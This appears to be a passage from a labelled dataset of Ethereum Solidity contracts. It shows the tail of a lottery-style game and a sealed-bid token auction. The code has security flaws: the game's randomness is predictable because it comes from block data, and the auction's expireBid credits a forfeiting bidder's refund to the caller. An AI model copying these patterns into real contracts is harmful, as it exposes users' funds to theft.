RoundLastGreedyMan[Round].transfer(RoundETH[Round]);
emit winnerEvent(RoundLastGreedyMan[Round], RoundETH[Round], Round);
Round++;
}
function withdraw(uint _round) public {
uint _revenue = getMyRevenue(_round);
uint _revenueRef = MyreferredRevenue[msg.sender];
RoundMyPayMask[_round][msg.sender] += _revenue;
MyreferredRevenue[msg.sender] = 0;
msg.sender.transfer(_revenue + _revenueRef);
emit withdrawRefEvent( msg.sender, _revenue);
emit withdrawEvent(msg.sender, _revenue, _round);
}
function withdrawOwner() public onlyOwner {
uint _revenue = onwerfee;
msg.sender.transfer(_revenue);
onwerfee = 0;
emit withdrawOwnerEvent(_revenue);
}
function luckyBuy() private view returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < luckybuyTracker_)
return(true);
else
return(false);
}
function getFullround()public view returns(uint[] round,uint[] pot, address[] whowin,uint[] mymoney) {
uint[] memory whichRound = new uint[](Round);
uint[] memory totalPool = new uint[](Round);
address[] memory winner = new address[](Round);
uint[] memory myMoney = new uint[](Round);
uint counter = 0;
for (uint i = 1; i <= Round; i++) {
whichRound[counter] = i;
totalPool[counter] = RoundETH[i];
winner[counter] = RoundLastGreedyMan[i];
myMoney[counter] = getMyRevenue(i);
counter++;
}
return (whichRound,totalPool,winner,myMoney);
}
}
library GreedyHeartCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,332 |
pragma solidity ^0.4.15;
contract iERC20Token {
function totalSupply() constant returns (uint supply);
function balanceOf( address who ) constant returns (uint value);
function allowance( address owner, address spender ) constant returns (uint remaining);
function transfer( address to, uint value) returns (bool ok);
function transferFrom( address from, address to, uint value) returns (bool ok);
function approve( address spender, uint value ) returns (bool ok);
event Transfer( address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
}
contract iBurnableToken is iERC20Token {
function burnTokens(uint _burnCount) public;
function unPaidBurnTokens(uint _burnCount) public;
}
contract SafeMath {
function SafeMath() {
}
function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract TokenAuction is SafeMath {
struct SecretBid {
bool disqualified;
uint deposit;
uint refund;
uint tokens;
bytes32 hash;
}
uint constant AUCTION_START_EVENT = 0x01;
uint constant AUCTION_END_EVENT = 0x02;
uint constant SALE_START_EVENT = 0x04;
uint constant SALE_END_EVENT = 0x08;
event SecretBidEvent(uint indexed batch, address indexed bidder, uint deposit, bytes32 hash, bytes message);
event ExecuteEvent(uint indexed batch, address indexed bidder, uint cost, uint refund);
event ExpireEvent(uint indexed batch, address indexed bidder, uint cost, uint refund);
event BizarreEvent(address indexed addr, string message, uint val);
event StateChangeEvent(uint mask);
bool public isLocked;
uint public stateMask;
address public owner;
address public developers;
address public underwriter;
iBurnableToken public token;
uint public proceeds;
uint public strikePrice;
uint public strikePricePctX10;
uint public developerReserve;
uint public developerPctX10;
uint public purchasedCount;
uint public secretBidCount;
uint public executedCount;
uint public expiredCount;
uint public saleDuration;
uint public auctionStart;
uint public auctionEnd;
uint public saleEnd;
mapping (address => SecretBid) public secretBids;
uint batchSize = 4;
uint contractSendGas = 100000;
modifier ownerOnly {
require(msg.sender == owner);
_;
}
modifier unlockedOnly {
require(!isLocked);
_;
}
modifier duringAuction {
require((stateMask & (AUCTION_START_EVENT | AUCTION_END_EVENT)) == AUCTION_START_EVENT);
_;
}
modifier afterAuction {
require((stateMask & AUCTION_END_EVENT) != 0);
_;
}
modifier duringSale {
require((stateMask & (SALE_START_EVENT | SALE_END_EVENT)) == SALE_START_EVENT);
_;
}
modifier afterSale {
require((stateMask & SALE_END_EVENT) != 0);
_;
}
function TokenAuction() {
owner = msg.sender;
}
function lock() public ownerOnly {
isLocked = true;
}
function setAuctionParms(iBurnableToken _token, address _underwriter, uint _auctionStart, uint _auctionDuration, uint _saleDuration) public ownerOnly unlockedOnly {
token = _token;
underwriter = _underwriter;
auctionStart = _auctionStart;
auctionEnd = safeAdd(_auctionStart, _auctionDuration);
saleDuration = _saleDuration;
if (stateMask != 0) {
stateMask = 0;
strikePrice = 0;
purchasedCount = 0;
houseKeep();
}
}
function reserveDeveloperTokens(address _developers, uint _developerPctX10) public ownerOnly unlockedOnly {
developers = _developers;
developerPctX10 = _developerPctX10;
uint _tokenCount = token.balanceOf(this);
developerReserve = (safeMul(_tokenCount, developerPctX10) / 1000);
}
function tune(uint _batchSize, uint _contractSendGas) public ownerOnly {
batchSize = _batchSize;
contractSendGas = _contractSendGas;
}
function houseKeep() public {
uint _oldMask = stateMask;
if (now >= auctionStart) {
stateMask |= AUCTION_START_EVENT;
if (now >= auctionEnd) {
stateMask |= AUCTION_END_EVENT;
if (strikePrice > 0) {
stateMask |= SALE_START_EVENT;
if (now >= saleEnd)
stateMask |= SALE_END_EVENT;
}
}
}
if (stateMask != _oldMask)
StateChangeEvent(stateMask);
}
function setStrikePrice(uint _strikePrice, uint _strikePricePctX10) public ownerOnly afterAuction {
require(executedCount == 0);
strikePrice = _strikePrice;
strikePricePctX10 = _strikePricePctX10;
saleEnd = safeAdd(now, saleDuration);
houseKeep();
}
function () payable {
proceeds = safeAdd(proceeds, msg.value);
BizarreEvent(msg.sender, "bizarre payment", msg.value);
}
function depositSecretBid(bytes32 _hash, bytes _message) public duringAuction payable {
if (!(msg.sender == owner && !isLocked) &&
(_hash == 0 || secretBids[msg.sender].hash != 0) )
revert();
secretBids[msg.sender].hash = _hash;
secretBids[msg.sender].deposit = msg.value;
secretBidCount += 1;
uint _batch = secretBidCount / batchSize;
SecretBidEvent(_batch, msg.sender, msg.value, _hash, _message);
}
function disqualifyBid(address _from) public ownerOnly duringAuction {
secretBids[_from].disqualified = true;
}
function executeBid(uint256 _secret, uint256 _price, uint256 _quantity) public duringSale {
executeBidFor(msg.sender, _secret, _price, _quantity);
}
function executeBidFor(address _addr, uint256 _secret, uint256 _price, uint256 _quantity) public duringSale {
bytes32 computedHash = keccak256(_secret, _price, _quantity);
require(secretBids[_addr].hash == computedHash);
if (secretBids[_addr].deposit > 0) {
uint _cost = 0;
uint _refund = 0;
uint _priceWei = safeMul(_price, 1 szabo);
if (_priceWei >= strikePrice && !secretBids[_addr].disqualified) {
uint256 _purchaseCount = (_priceWei > strikePrice) ? _quantity : (safeMul(strikePricePctX10, _quantity) / 1000);
var _maxPurchase = token.balanceOf(this) - developerReserve;
if (_purchaseCount > _maxPurchase)
_purchaseCount = _maxPurchase;
_cost = safeMul(_purchaseCount, strikePrice);
if (secretBids[_addr].deposit >= _cost) {
secretBids[_addr].deposit -= _cost;
proceeds = safeAdd(proceeds, _cost);
secretBids[_addr].tokens += _purchaseCount;
purchasedCount += _purchaseCount;
if (!token.transfer(_addr, _purchaseCount))
revert();
}
}
if (secretBids[_addr].deposit > 0) {
_refund = secretBids[_addr].deposit;
secretBids[_addr].refund += _refund;
secretBids[_addr].deposit = 0;
}
executedCount += 1;
uint _batch = executedCount / batchSize;
ExecuteEvent(_batch, _addr, _cost, _refund);
}
}
function expireBid(address _addr) public ownerOnly afterSale {
if (secretBids[_addr].deposit > 0) {
uint _forfeit = secretBids[_addr].deposit / 2;
proceeds = safeAdd(proceeds, _forfeit);
uint _refund = safeSub(secretBids[_addr].deposit, _forfeit);
secretBids[msg.sender].refund += _refund;
secretBids[_addr].deposit = 0;
expiredCount += 1;
uint _batch = expiredCount / batchSize;
ExpireEvent(_batch, _addr, _forfeit, _refund);
}
}
function withdrawRefund() public {
uint _amount = secretBids[msg.sender].refund;
secretBids[msg.sender].refund = 0;
msg.sender.transfer(_amount);
}
function doDeveloperGrant() public afterSale {
uint _quantity = purchasedCount * developerPctX10 / 1000;
var _tokensLeft = token.balanceOf(this);
if (_quantity > _tokensLeft)
_quantity = _tokensLeft;
if (_quantity > 0) {
_tokensLeft -= _quantity;
if (!token.transfer(developers, _quantity))
revert();
}
token.unPaidBurnTokens(_tokensLeft);
}
function payUnderwriter() public {
require(msg.sender == owner || msg.sender == underwriter);
uint _amount = proceeds;
proceeds = 0;
if (!underwriter.call.gas(contractSendGas).value(_amount)())
revert();
}
function haraKiri() ownerOnly unlockedOnly {
selfdestruct(owner);
}
} | 1 | 3,016 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.